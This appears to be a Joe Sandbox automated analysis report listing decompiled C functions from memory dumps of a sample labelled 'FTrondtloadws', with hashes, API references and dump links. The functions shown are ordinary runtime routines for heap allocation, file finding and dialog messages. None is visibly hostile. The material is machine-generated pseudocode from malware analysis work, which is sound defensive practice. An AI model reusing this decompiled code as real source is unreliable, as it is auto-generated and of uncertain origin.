Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 34f2d12e2e1d8d60a5c3ad34df52741e0cc0dcc0c648ea0b3b4ac6acd63b4e1f
Instruction ID: 684517854371297ba4e78b9eed7a40576f0f2133e6d5969be54a82d0113d8034
Opcode Fuzzy Hash: 34f2d12e2e1d8d60a5c3ad34df52741e0cc0dcc0c648ea0b3b4ac6acd63b4e1f
Instruction Fuzzy Hash: 0611AB376006A56FDB259F1ADC406BB7795DBC5320B160110FD69EB358DF30ED4186D1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCA453 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00CCA453(void* __ebx, void* __eflags) {
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t25;
				void* _t34;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t40;
				void* _t47;

				E00CDFD4C(0xcf3691, _t40);
				E00CC13D9(_t40 - 0x20, E00CC89FF());
				_t35 =  *((intOrPtr*)(_t40 - 0x20));
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				_t19 = E00CCE54C( *((intOrPtr*)(_t40 + 8)), _t35,  *((intOrPtr*)(_t40 - 0x1c)), _t34);
				_t38 = _t19;
				if(_t38 > 0) {
					_t20 =  *((intOrPtr*)(_t40 + 0x10));
					_t25 =  *((intOrPtr*)(_t40 + 0xc));
					 *((intOrPtr*)(_t40 - 0x10)) = _t20;
					do {
						_t47 = 0 - _t20;
						if(_t47 > 0 || _t47 >= 0 && _t38 >= _t25) {
							_t38 = _t25;
						}
						if(_t38 > 0) {
							E00CCE738( *((intOrPtr*)(_t40 + 8)), _t40, _t35, _t38);
							asm("cdq");
							_t25 = _t25 - _t38;
							asm("sbb [ebp-0x10], edx");
						}
						_push( *((intOrPtr*)(_t40 - 0x1c)));
						_push(_t35);
						_t38 = E00CCE54C( *((intOrPtr*)(_t40 + 8)));
						_t20 =  *((intOrPtr*)(_t40 - 0x10));
					} while (_t38 > 0);
				}
				if(_t35 != 0) {
					_t19 = L00CE5069(_t35); // executed
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t40 - 0xc));
				return _t19;
			}

0x00cca458
0x00cca46b
0x00cca473
0x00cca479
0x00cca47e
0x00cca483
0x00cca487
0x00cca489
0x00cca48d
0x00cca490
0x00cca493
0x00cca495
0x00cca497
0x00cca49f
0x00cca49f
0x00cca4a3
0x00cca4aa
0x00cca4b1
0x00cca4b2
0x00cca4b4
0x00cca4b4
0x00cca4b7
0x00cca4bd
0x00cca4c3
0x00cca4c5
0x00cca4c8
0x00cca4cc
0x00cca4cf
0x00cca4d2
0x00cca4d7
0x00cca4dd
0x00cca4e5

APIs

__EH_prolog.LIBCMT ref: 00CCA458

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f9bf8dd86ca7798ba0f0237ade9f7879cf36536c172adaabe0783806c8cf5c58
Instruction ID: 459ea55ff004eb17b5e268aee120d0d6b63221f405a1e851b9e2416a1f2cb93e
Opcode Fuzzy Hash: f9bf8dd86ca7798ba0f0237ade9f7879cf36536c172adaabe0783806c8cf5c58
Instruction Fuzzy Hash: D0110637D00529A7CB29EF68C889FBE7375AF85714B04411DF821B7641CB748D0197E1

Uniqueness

Uniqueness Score: -1.00%

Function 00CDEA22 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00CDEA22(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t19;
				char _t20;
				char _t21;
				void* _t24;
				void* _t38;
				void* _t44;
				intOrPtr _t46;

				_t38 = __edx;
				E00CDFD4C(0xcf3b92, _t44);
				_push(__ecx);
				E00CDFE20(0x2138);
				 *((intOrPtr*)(_t44 - 0x10)) = _t46;
				E00CE7296(0xd1ea92, "X");
				E00CD195C(0xd20ab4, _t38, 0xcf45f0);
				E00CE7296(0xd1fab2,  *((intOrPtr*)(_t44 + 0xc)));
				E00CC64CD(0xd158b0, _t38,  *((intOrPtr*)(_t44 + 0xc)));
				_t4 = _t44 - 4;
				 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
				_t19 = 2;
				 *0xd1da70 = _t19;
				 *0xd1da6c = _t19;
				 *0xd1da68 = _t19;
				_t20 =  *0xd0a479; // 0x0
				 *0xd1c90b = _t20;
				_t21 =  *0xd0a47a; // 0x1
				 *0xd1c930 = 1;
				 *0xd1c933 = 1;
				 *0xd1c90c = _t21;
				E00CC8803(_t44 - 0x2148, _t38,  *_t4, 0xd158b0);
				 *(_t44 - 4) = 1;
				E00CC8A18(_t44 - 0x2148);
				_t24 = E00CC88EA(_t44 - 0x2148); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t44 - 0xc));
				return _t24;
			}

0x00cdea22
0x00cdea27
0x00cdea2c
0x00cdea32
0x00cdea3a
0x00cdea47
0x00cdea58
0x00cdea65
0x00cdea76
0x00cdea7b
0x00cdea7b
0x00cdea87
0x00cdea88
0x00cdea8d
0x00cdea92
0x00cdea97
0x00cdea9c
0x00cdeaa1
0x00cdeaa7
0x00cdeaae
0x00cdeab5
0x00cdeaba
0x00cdeac5
0x00cdeac9
0x00cdead4
0x00cdeade
0x00cdeae7

APIs

__EH_prolog.LIBCMT ref: 00CDEA27

Part of subcall function 00CD195C: _wcslen.LIBCMT ref: 00CD1972

Part of subcall function 00CC8803: __EH_prolog.LIBCMT ref: 00CC8808

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: f5d6b138f66d07ed0039805490ebf34db46f6a00fb18ad03d9388cd6c4f488c9
Instruction ID: 75a191ab60d90f54d0808beca777765dfab366a3191ab802c508f0f921de1ad9
Opcode Fuzzy Hash: f5d6b138f66d07ed0039805490ebf34db46f6a00fb18ad03d9388cd6c4f488c9
Instruction Fuzzy Hash: 3011C435908394FED704EB68E816BDD3BA4EB24310F00806EF248D6392DFB51646DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00CEC146 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00CEC146(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t16;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0xd24714, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00CE9E54();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E00CEA63B())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E00CE8CAC(_t15, _t16, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				_t16 = _t13 % _t18;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x00cec146
0x00cec14c
0x00cec151
0x00cec15f
0x00cec15f
0x00cec165
0x00cec167
0x00cec167
0x00cec17e
0x00cec187
0x00cec18f
0x00000000
0x00000000
0x00cec16f
0x00cec171
0x00cec193
0x00cec198
0x00cec19e
0x00000000
0x00cec19e
0x00cec174
0x00cec179
0x00cec17a
0x00cec17c
0x00000000
0x00000000
0x00cec17c
0x00000000
0x00cec17e
0x00cec157
0x00cec158
0x00cec15d
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00CEA393,00000001,00000364,?,00CE524D,?,?,00D030C4), ref: 00CEC187

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d6fb5cabb111de28ec646269b6145fb18cb80cbd44b811c3148cde3fca2df82c
Instruction ID: aef72a64af9eecc8b7e3ee5a673a4a742f15a55f033b66e54fc97441325a378c
Opcode Fuzzy Hash: d6fb5cabb111de28ec646269b6145fb18cb80cbd44b811c3148cde3fca2df82c
Instruction Fuzzy Hash: 16F0E2322043A06BEB215A67AC81B6F3788DF82760B145031FC29D7292CB30EE0392E1

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA64E Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E00CEA64E(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = _a4;
				if(_t9 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00CEA63B())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t9 == 0) {
					_t9 = _t9 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0xd24714, 0, _t9); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00CE9E54();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E00CE8CAC(_t7, _t8, __eflags, _t9);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00cea64e
0x00cea654
0x00cea65a
0x00cea68c
0x00cea691
0x00cea697
0x00000000
0x00cea697
0x00cea65e
0x00cea660
0x00cea660
0x00cea677
0x00cea680
0x00cea688
0x00000000
0x00000000
0x00cea668
0x00cea66a
0x00000000
0x00000000
0x00cea66d
0x00cea672
0x00cea673
0x00cea675
0x00000000
0x00000000
0x00cea675
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00CE53E4,?,0000015D,?,?,?,?,00CE68C0,000000FF,00000000,?,?), ref: 00CEA680

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7bfc41df7ddcc366fd0eaa3d23bc3390327225322edee6eb056886059d31494f
Instruction ID: 42fde75c8d4c6384755570ad99c70e5d5402f9b4d7c84d5e4c46221a8c7ff9fe
Opcode Fuzzy Hash: 7bfc41df7ddcc366fd0eaa3d23bc3390327225322edee6eb056886059d31494f
Instruction Fuzzy Hash: E1E039652012A15FE72126679D01B6B3A9C9B837A0B1E0121BC299B1E1DA29AD0196A7

Uniqueness

Uniqueness Score: -1.00%

Function 00CCA860 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00CCA860(void* __ecx) {
				void* _t16;
				void* _t21;

				_t21 = __ecx;
				_t16 = 1;
				if( *(__ecx + 8) != 0xffffffff) {
					if( *((char*)(__ecx + 0x15)) == 0 &&  *((intOrPtr*)(__ecx + 0x10)) == 0) {
						_t5 = FindCloseChangeNotification( *(__ecx + 8)) - 1; // -1
						asm("sbb bl, bl");
						_t16 =  ~_t5 + 1;
					}
					 *(_t21 + 8) =  *(_t21 + 8) | 0xffffffff;
				}
				 *(_t21 + 0x10) =  *(_t21 + 0x10) & 0x00000000;
				if(_t16 == 0 &&  *((intOrPtr*)(_t21 + 0x1e)) != _t16) {
					E00CC7665(0xd030c4, _t21 + 0x32);
				}
				return _t16;
			}

0x00cca862
0x00cca864
0x00cca86a
0x00cca870
0x00cca881
0x00cca886
0x00cca888
0x00cca888
0x00cca88a
0x00cca88a
0x00cca88e
0x00cca894
0x00cca8a4
0x00cca8a4
0x00cca8ad

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00CCA81B,?,?,?,?,?,00CF365F,000000FF), ref: 00CCA87B

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 484d4a579082a41bd834d8c08e180e9ed1fbcb37175e6855664c5d0efa2bf497
Instruction ID: 39916acf71d6614d33834057e1a6e2791c7f37e81371fd8fd67289251dfe4447
Opcode Fuzzy Hash: 484d4a579082a41bd834d8c08e180e9ed1fbcb37175e6855664c5d0efa2bf497
Instruction Fuzzy Hash: BBF0E930085B098FDB389A24C44CF92B3E4AB11329F040B1DD0F3435E0D775AA8ECA51

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB946 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCB946(void* __ecx, void* __eflags, WCHAR* _a4, intOrPtr _a8) {
				void* _t13;
				intOrPtr _t19;

				_t19 = _a8;
				 *((char*)(_t19 + 0x1044)) = 0;
				if(E00CCD1A1(_a4) != 0) {
					L3:
					return 0;
				}
				_t13 = E00CCBA74(0xffffffff, _a4, _t19); // executed
				if(_t13 == 0xffffffff) {
					goto L3;
				}
				FindClose(_t13); // executed
				 *(_t19 + 0x1040) =  *(_t19 + 0x1040) & 0x00000000;
				 *((char*)(_t19 + 0x100c)) = E00CCB4FF( *((intOrPtr*)(_t19 + 0x1008)));
				 *((char*)(_t19 + 0x100d)) = E00CCB516( *((intOrPtr*)(_t19 + 0x1008)));
				return 1;
			}

0x00ccb947
0x00ccb94f
0x00ccb95d
0x00ccb9a4
0x00000000
0x00ccb9a4
0x00ccb966
0x00ccb96e
0x00000000
0x00000000
0x00ccb971
0x00ccb97d
0x00ccb98f
0x00ccb99a
0x00000000

APIs

Part of subcall function 00CCBA74: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBA9D
Part of subcall function 00CCBA74: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBACB
Part of subcall function 00CCBA74: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBAD7

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCB971

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 6d45242fba5354bb5a35b637c5c9e473ff29abab77ee208241226af7405480fe
Instruction ID: ff8f7294626cfc7ead21e31c79867a799c7d9e955a8b4a0372ae9130b53a791f
Opcode Fuzzy Hash: 6d45242fba5354bb5a35b637c5c9e473ff29abab77ee208241226af7405480fe
Instruction Fuzzy Hash: 67F05E32009790AACA226BF4C806FDB7BA05F16335F048A4DF2FE53192C77458D4A722

Uniqueness

Uniqueness Score: -1.00%

Function 00CD2101 Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00CD2101() {
				void* __esi;
				void* _t2;

				L00CD2E76(); // executed
				_t2 = E00CD2E7B();
				if(_t2 != 0) {
					_t2 = E00CC76C4(_t2, 0xd030c4, 0xff, 0xff);
				}
				if( *0xd030d0 != 0) {
					_t2 = E00CC76C4(_t2, 0xd030c4, 0xff, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x00cd2103
0x00cd2108
0x00cd2119
0x00cd211e
0x00cd211e
0x00cd212a
0x00cd212f
0x00cd212f
0x00cd2136
0x00cd213e

APIs

SetThreadExecutionState.KERNEL32 ref: 00CD2136

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 8786abf4ad4627a7cd4edfafe3e36dfd95af2de73153b3a93183fa6d05162a39
Instruction ID: c65a4fa3258258e786a226602b5b567cefead21cff1a7febabd7de8bc105c944
Opcode Fuzzy Hash: 8786abf4ad4627a7cd4edfafe3e36dfd95af2de73153b3a93183fa6d05162a39
Instruction Fuzzy Hash: 44D02B11F0501021D616372CA805BFE3E0A8FE2314F08006BF348573D38B540D42A2B2

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB606 Relevance: 1.5, APIs: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00CDB606(signed int __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t6;

				_push(__ecx);
				_push(0x10);
				L00CDFBC3();
				_v8 = __eax;
				if(__eax == 0) {
					return 0;
				}
				_t6 = E00CDB398(__eax, _a4, _a8); // executed
				return _t6;
			}

0x00cdb609
0x00cdb60a
0x00cdb60c
0x00cdb611
0x00cdb616
0x00000000
0x00cdb627
0x00cdb620
0x00000000

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00CDB60C

Part of subcall function 00CDB398: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00CDB3B9

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: c2cb9628ddc588ae09f0783494310dd7df1c6caa713ae07bdab044bdc10b0755
Instruction ID: 2682223d26b7a0ac65a9e32e4434b8c3490af27e406ce91c91872cf1b25a196e
Opcode Fuzzy Hash: c2cb9628ddc588ae09f0783494310dd7df1c6caa713ae07bdab044bdc10b0755
Instruction Fuzzy Hash: 19D05220200208BAEF052A218812ABB7A98AB40380F008037BA0285290EBB2CE51A6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF595 Relevance: 1.5, APIs: 1, Instructions: 13
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00CDF595(void* __esi) {
				void* _t2;
				intOrPtr _t5;
				void* _t6;
				void* _t11;

				_t11 = __esi;
				if(( *0xcf6700 & 0x00001000) == 0) {
					return _t2;
				} else {
					E00CDF63E();
					_t5 =  *0xd23d20 + 1;
					 *0xd23d20 = _t5;
					if(_t5 == 1) {
						E00CDF767(4, 0xd23d24); // executed
					}
					_t6 = E00CDF5C8();
					if(_t6 == 0) {
						 *0xd23d1c = 0;
						return _t6;
					} else {
						 *0xcf4278(0xd23d1c, _t11);
						return  *((intOrPtr*)( *0xd23d18))();
					}
				}
			}

0x00cdf595
0x00cdf59f
0x00cdf5c7
0x00cdf5a1
0x00cdf5a1
0x00cdf5ab
0x00cdf5ac
0x00cdf5b4
0x00cdf5bd
0x00cdf5bd
0x00cdf80b
0x00cdf812
0x00cdf82c
0x00cdf836
0x00cdf814
0x00cdf822
0x00cdf82b
0x00cdf82b
0x00cdf812

APIs

DloadProtectSection.DELAYIMP ref: 00CDF5BD

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: da127140707de718cc491dd03f85726478fe03b185fdf4f196ed729b3d0745e8
Instruction ID: 1173ddaaa7bc8ec40c1371d6a2aec9fa284020773dc3c4399735f8446fe22c17
Opcode Fuzzy Hash: da127140707de718cc491dd03f85726478fe03b185fdf4f196ed729b3d0745e8
Instruction Fuzzy Hash: 30D0C97020021459C261AB24BC5675C32A0B728748BC4042BF757D23AADBA85A47E622

Uniqueness

Uniqueness Score: -1.00%

Function 00CDED3D Relevance: 1.5, APIs: 1, Instructions: 13
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDED3D(intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _t7;

				SendDlgItemMessageW( *0xd0a470, 0x6a, 0x402, E00CD1583(_a20, _a24, _a28, _a32), 0); // executed
				_t7 = E00CDC5F8(); // executed
				return _t7;
			}

0x00cded62
0x00cded68
0x00cded6d

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00CD2E58), ref: 00CDED62

Part of subcall function 00CDC5F8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDC609
Part of subcall function 00CDC5F8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDC61A
Part of subcall function 00CDC5F8: IsDialogMessageW.USER32(00010424,?), ref: 00CDC62E
Part of subcall function 00CDC5F8: TranslateMessage.USER32(?), ref: 00CDC63C
Part of subcall function 00CDC5F8: DispatchMessageW.USER32(?), ref: 00CDC646

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 1f345aeb858be01d6ed244a1382d571596f768b1b5ed262293010f417d0a36e3
Instruction ID: 28ad4a099fda819c6d0c77253ef1268b755e33b8269be4017e35efb345da70a2
Opcode Fuzzy Hash: 1f345aeb858be01d6ed244a1382d571596f768b1b5ed262293010f417d0a36e3
Instruction Fuzzy Hash: FAD09E31144300BADA122B51ED06F0E7AE2BB98B04F044655B349741B18662DE31EB12

Uniqueness

Uniqueness Score: -1.00%

Function 00CCAAFC Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCAAFC(void* __ecx) {
				long _t3;

				if( *(__ecx + 8) != 0xffffffff) {
					_t3 = GetFileType( *(__ecx + 8)); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00ccab00
0x00ccab08
0x00ccab11
0x00ccab1a
0x00000000
0x00000000
0x00000000
0x00ccab02
0x00ccab02
0x00ccab04
0x00ccab04

APIs

GetFileType.KERNELBASE(000000FF,00CCA9FE), ref: 00CCAB08

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
